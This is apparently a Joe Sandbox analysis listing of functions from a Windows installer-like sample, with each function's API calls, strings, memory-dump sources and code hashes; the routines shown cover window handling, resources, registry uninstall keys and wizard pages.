API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
String ID:
API String ID: 855768636-0
Opcode ID: 5b0df988be9838265a1f1a0401bf5f8406b2a3c4015f812893a6c7d8083beea1
Instruction ID: b3093c4ebb0b7e06bed5f106317d4e3cc6a191cca0c0b9549d73345a2284dbe6
Opcode Fuzzy Hash: 5b0df988be9838265a1f1a0401bf5f8406b2a3c4015f812893a6c7d8083beea1
Instruction Fuzzy Hash: 4A114D71B0030027D210BA7E8C86B5B66C99B88748F05093FB646EB382DDBDDC054299

Function 00490A90 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,?,00000000), ref: 00490AF4
OffsetRect.USER32(?,00000000,?), ref: 00490B0F
OffsetRect.USER32(?,?,00000000), ref: 00490B29
OffsetRect.USER32(?,00000000,?), ref: 00490B44

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: 4f5ef1e0d983469e0e074b1971f9d893316fa8f23c7050a0547905adaeca2830
Instruction ID: 18fa94cae829dc53f9c600a0c5f9fb7c1b907838cfc372d6d50c385276a760b4
Opcode Fuzzy Hash: 4f5ef1e0d983469e0e074b1971f9d893316fa8f23c7050a0547905adaeca2830
Instruction Fuzzy Hash: 40214CB6700301AFD700DE69CD85E6BB7EEEBD4304F14CA2AF654C7249D634E94487A6

Function 00417188 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 004171D0
SetCursor.USER32(00000000), ref: 00417213
GetLastActivePopup.USER32(?), ref: 0041723D
GetForegroundWindow.USER32(?), ref: 00417244

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: 57867d8476d6d2e29dff31638e2989af4f337f03c70db4ce9ec7e3e156ffa51a
Instruction ID: 86e626badbabc243afb65fecb2564bdd41232683b3d9035b7095670fd5686afe
Opcode Fuzzy Hash: 57867d8476d6d2e29dff31638e2989af4f337f03c70db4ce9ec7e3e156ffa51a
Instruction Fuzzy Hash: BA2183313086018ACB20AB69D889AD737F1AF45714F0645ABF8589B392D73DDC86CB59

Function 00490748 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(8B500000,00000008,?), ref: 0049075D
MulDiv.KERNEL32(50142444,00000008,?), ref: 00490771
MulDiv.KERNEL32(F74DDBE8,00000008,?), ref: 00490785
MulDiv.KERNEL32(8BF88BFF,00000008,?), ref: 004907A3

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6335ae3c13ddf35d91c6dca3ece5bfa36ba83b479f3d3f49975b0228b2d303f4
Instruction ID: ffb87ba5503d93dbd8900d907168ca1ad9b8eeb6a08e6658e991ddfa8228dfd8
Opcode Fuzzy Hash: 6335ae3c13ddf35d91c6dca3ece5bfa36ba83b479f3d3f49975b0228b2d303f4
Instruction Fuzzy Hash: E8112176604204AFCB40DEA9C8C4D9B7BECEF4D334B2441AAF918DB246D674ED408BA4

Function 0041F3F0 Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,0041F3E0,?), ref: 0041F411
UnregisterClassA.USER32(0041F3E0,00400000), ref: 0041F43A
RegisterClassA.USER32(00494598), ref: 0041F444
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F47F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: d848210eac8fa203de2a57be4a09b5e70b2efef1fc89853c1c9f6bba622f69a5
Instruction ID: 124ae18f6ccee6cd3f50944003dafe19b4a4e3b77e192b7b2acb4d1f887b2837
Opcode Fuzzy Hash: d848210eac8fa203de2a57be4a09b5e70b2efef1fc89853c1c9f6bba622f69a5
Instruction Fuzzy Hash: 390152712401047BCB10EBE8ED81E9B379CA769314B12413BBA05E72E1D6359C164BAD

Function 00453A90 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(00000001,00000032), ref: 00453ABC
MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00453ADE
GetExitCodeProcess.KERNEL32(00000001,00000001), ref: 00453AED
CloseHandle.KERNEL32(00000001,00453B1A,00453B13,?,00000031,00000080,00000000,?,?,00453E6B,00000080,0000003C,00000000,00453E81), ref: 00453B0D

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
String ID:
API String ID: 4071923889-0
Opcode ID: bc77cc3d718e7808b1344eec404d7c81fbff08a4e78e5105e06f0a65c8a4f2f9
Instruction ID: 4fe20275a49a48cc97c0147f6d26159365d46054c9b57b8144838d762f7bd3bd
Opcode Fuzzy Hash: bc77cc3d718e7808b1344eec404d7c81fbff08a4e78e5105e06f0a65c8a4f2f9
Instruction Fuzzy Hash: 4901DD70A406087EEB209FAA8C06F6BBB9CDF457B1F510167F904D72D3D5B89F008668

Function 0040D170 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D187
LoadResource.KERNEL32(00400000,72756F73,0040A928,00400000,00000001,00000000,?,0040D0E4,00000000,?,00000000,?,?,0047834C,0000000A,REGDLL_EXE), ref: 0040D1A1
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A928,00400000,00000001,00000000,?,0040D0E4,00000000,?,00000000,?,?,0047834C), ref: 0040D1BB
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A928,00400000,00000001,00000000,?,0040D0E4,00000000,?,00000000,?), ref: 0040D1C5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: b3c15c4636e7b2139434bed422b55b0694fd43cf85b07dfc26612a38abd02691
Instruction ID: a2e4909c1946fcd89949086e6ecb513f2c22862e5b7fa6f76d970aa484769738
Opcode Fuzzy Hash: b3c15c4636e7b2139434bed422b55b0694fd43cf85b07dfc26612a38abd02691
Instruction Fuzzy Hash: BEF0FF726056046F9754EE9DA881D5B76ECDE48264320416AF908EB246DE38DD118B78

Function 0046C0CC Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000), ref: 0046C11D

Strings

Unsetting NTFS compression on directory: %s, xrefs: 0046C103
Setting NTFS compression on directory: %s, xrefs: 0046C0EB
Failed to set NTFS compression state (%d)., xrefs: 0046C12E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on directory: %s$Unsetting NTFS compression on directory: %s
API String ID: 1452528299-1392080489
Opcode ID: 12520f28c543ee6dc8b82a22531daf9b0eb63e547a86ccbc29e1cdd4c7e5dd4c
Instruction ID: d1288518dae8f37a1957c453ca06be7ebe069e1f8ad9e7cbb0586ff6e1864a05
Opcode Fuzzy Hash: 12520f28c543ee6dc8b82a22531daf9b0eb63e547a86ccbc29e1cdd4c7e5dd4c
Instruction Fuzzy Hash: 3C01F430E0829856CB04E7AD54912EDBBA49F4A314F44C1EBA495E7243EB7949098B9B

Function 004548A8 Relevance: 6.0, APIs: 4, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,00459FE2,?,?,?,?,?,00000000,0045A009), ref: 004548E4
RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,00459FE2,?,?,?,?,?,00000000), ref: 004548ED
RemoveFontResourceA.GDI32(00000000), ref: 004548FA
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0045490E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
String ID:
API String ID: 4283692357-0
Opcode ID: 0d0dfb2564ceee41505842410b8eb5b45ad288921af2b3aaa4e8d0d82e76bf45
Instruction ID: a14628fa6627a55660416567d4dbc5bcd9da3b784c873aa00698b9a40c71d433
Opcode Fuzzy Hash: 0d0dfb2564ceee41505842410b8eb5b45ad288921af2b3aaa4e8d0d82e76bf45
Instruction Fuzzy Hash: 98F05EB5B4435036EA20B6B69C87F1B228C9F94749F10483BBA00EF2C3D97CD904962D

Function 0046C9BC Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000), ref: 0046CA0D

Strings

Setting NTFS compression on file: %s, xrefs: 0046C9DB
Failed to set NTFS compression state (%d)., xrefs: 0046CA1E
Unsetting NTFS compression on file: %s, xrefs: 0046C9F3

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on file: %s$Unsetting NTFS compression on file: %s
API String ID: 1452528299-3038984924
Opcode ID: 40cc4da06f216ca8fddc2155b0c8044364091732dabe5a2574f68253181afcfc
Instruction ID: f9671e3ed36caeede4aa73b9a5275056af7d69d7ede32b2fefd4c2d78c3eb765
Opcode Fuzzy Hash: 40cc4da06f216ca8fddc2155b0c8044364091732dabe5a2574f68253181afcfc
Instruction Fuzzy Hash: EF01F430E1424856CF04D7ED50813ADBBA49F49314F4481EBA495E7242EA794A09879B

Function 00478588 Relevance: 6.0, APIs: 4, Instructions: 35sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 004785A9
GetLastError.KERNEL32 ref: 004785B3
GetTickCount.KERNEL32 ref: 004785BD
Sleep.KERNEL32(00000032), ref: 004785CD

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 7ba95263cf607da14ed182d82f04652cfc8ea88367bf81104d4c93702afd66ac
Instruction ID: 73c64946fba074286b02600117ce653f2166f18cd20dcecc39388403ea812179
Opcode Fuzzy Hash: 7ba95263cf607da14ed182d82f04652cfc8ea88367bf81104d4c93702afd66ac
Instruction Fuzzy Hash: 40E02B7134950159CE2035BE18CA6FF8688CB85364B18557FF48CE6282CC1C4C06467E

Function 00473F24 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,0047BD85,?,?,00000001,00000000,00000002,00000000,0047C645,?,?,?,?,?,00493E69), ref: 00473F2D
OpenProcessToken.ADVAPI32(00000000,00000008,?,0047BD85,?,?,00000001,00000000,00000002,00000000,0047C645), ref: 00473F33
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,0047BD85,?,?,00000001,00000000,00000002,00000000,0047C645), ref: 00473F55
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,0047BD85,?,?,00000001,00000000,00000002,00000000), ref: 00473F66

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 278ad5b173194e36c9fdf0c9a70970375a6c5fb09d12381ee4b46ff310b2b9ba
Instruction ID: 4253a410d9d13e694bb7938b39c3b3de8eec9a5aa890adb03660417f9487641a
Opcode Fuzzy Hash: 278ad5b173194e36c9fdf0c9a70970375a6c5fb09d12381ee4b46ff310b2b9ba
Instruction Fuzzy Hash: 60F03061644701BBD600EAB5CC82E9B77DCEB48754F04893ABE98C72C1D678DD08AB26

Function 004241B0 Relevance: 6.0, APIs: 4, Instructions: 26windowCOMMON

Download Yara Rule

APIs

GetLastActivePopup.USER32(?), ref: 004241BC
IsWindowVisible.USER32(?), ref: 004241CD
IsWindowEnabled.USER32(?), ref: 004241D7
SetForegroundWindow.USER32(?), ref: 004241E1

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: a2e243f8372e3f0d884fb0d55d1c99da12caacded82f4d9ad5d69dcb1abac48f
Instruction ID: 7a261241521d5f36110480f60a41559dbc21bd8b6604a945fb8666e4bf107b55
Opcode Fuzzy Hash: a2e243f8372e3f0d884fb0d55d1c99da12caacded82f4d9ad5d69dcb1abac48f
Instruction Fuzzy Hash: 0DE08699B06531139E31FA251885ABB25ACCD54B883C60127BC04F7243DF1CCFA0C1AC

Function 00406284 Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 00406287
GlobalUnlock.KERNEL32(00000000), ref: 0040628E
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 00406293
GlobalLock.KERNEL32(00000000), ref: 00406299

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Global$AllocHandleLockUnlock
String ID:
API String ID: 2167344118-0
Opcode ID: ccca6f24380267978f803e90f3f817f3fcf2956047d1379c6398f3f6a54b6072
Instruction ID: ad050c8fb554795a0ca7e59246f03ac17dd57b6c6051e6027a9978793207e39e
Opcode Fuzzy Hash: ccca6f24380267978f803e90f3f817f3fcf2956047d1379c6398f3f6a54b6072
Instruction Fuzzy Hash: A0B009C5814A05B9EC0833B24C0BD3F141CD88072C3808A6FB458BA1839C7C9C402A3D

Function 00467230 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 259windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,0000F060,00000001), ref: 0046743B
EnableMenuItem.USER32(00000000,00000000,00000000), ref: 00467441

Strings

CurPageChanged, xrefs: 004675DC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Menu$EnableItemSystem
String ID: CurPageChanged
API String ID: 3692539535-2490978513
Opcode ID: 308e5066f1201e775d53fddf4c1c8fcb09ea1609b2c3b28a9e99fe614ead29c6
Instruction ID: 59c8047f62e7e31c75d3b0d5bc5bcd8262b90343efebb16df874184830fa0953
Opcode Fuzzy Hash: 308e5066f1201e775d53fddf4c1c8fcb09ea1609b2c3b28a9e99fe614ead29c6
Instruction Fuzzy Hash: 16B10A34608205DFC711DB69D989EAD77F5EB45308F2541F6F8049B322EB38AE41EB49

Function 004248B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004248D5
WaitMessage.USER32(00000000,004249C9,?,?,?,?), ref: 004249A9

Strings

=I, xrefs: 00424962, 0042496C, 004249BB

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CursorMessageWait
String ID: =I
API String ID: 4021538199-2178491670
Opcode ID: c410e03292cf8d893f928d151c1b8fee47d5476c770b80aa875d8a00d2b1089f
Instruction ID: f5903591994a5646776cc1cabcb36018c201e103d356dd97604095ae9f7807b1
Opcode Fuzzy Hash: c410e03292cf8d893f928d151c1b8fee47d5476c770b80aa875d8a00d2b1089f
Instruction Fuzzy Hash: C831D4B07002249BCB21EF39D48179FB7B5EFC8304F96456AEC049B385DB789D80CA99

Function 004748D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,004749BA,?,?,00000001,00000000,00000000,004749D5), ref: 004749A3

Strings

Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0047492E
%s\%s_is1, xrefs: 0047494C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1598650737
Opcode ID: 758cd3b1c2f7d8369d8ae4129cecded6b857d9b598dbfcfda0686c7afbd63fc9
Instruction ID: 0786ff54a2fcd010540dfb1674e625b2208728f1517a46560fd25b4f32b0fc22
Opcode Fuzzy Hash: 758cd3b1c2f7d8369d8ae4129cecded6b857d9b598dbfcfda0686c7afbd63fc9
Instruction Fuzzy Hash: 7621B6B4B002045FDB01DFA5CC51AEFBBE8EB89304F50847AE508E7381D7789901CB98

Function 00468E40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

Strings

Failed to proceed to next wizard page; aborting., xrefs: 00468F27
Failed to proceed to next wizard page; showing wizard., xrefs: 00468F3B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
API String ID: 0-1974262853
Opcode ID: f145ff0ebea2de7bdee8c13d844d83a0f554879860ae0a766ef977ac6bef69a2
Instruction ID: daba8f70c7ac65d7d6cbbee9404172843d3e5d7b971d08ea89f613dc0779fbfc
Opcode Fuzzy Hash: f145ff0ebea2de7bdee8c13d844d83a0f554879860ae0a766ef977ac6bef69a2
Instruction Fuzzy Hash: E131AC707042049FD711EB68D886B99B7F4AB45314F1501BFF4089B392EB79AE84C71E

Function 0044FB90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 0044FC25
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0044FC56

Strings

open, xrefs: 0044FC49

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ExecuteMessageSendShell
String ID: open
API String ID: 812272486-2758837156
Opcode ID: 41c7b89cd367263e980fcb6b441c17f5399fb10515564ba82aac51648a240c51
Instruction ID: 332267fde22c5991c1a24cd309bfe1a293fd30647066df8b1f407d1f292bc6d6
Opcode Fuzzy Hash: 41c7b89cd367263e980fcb6b441c17f5399fb10515564ba82aac51648a240c51
Instruction Fuzzy Hash: 84213270E00608AFEB10DF65C881A9EBBF8EB45704F60857AF905E7391D678AA458A58

Function 00453DA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 00453E38
GetLastError.KERNEL32(0000003C,00000000,00453E81,?,?,00000001,00000001), ref: 00453E49

Part of subcall function 00453A90: WaitForInputIdle.USER32(00000001,00000032), ref: 00453ABC
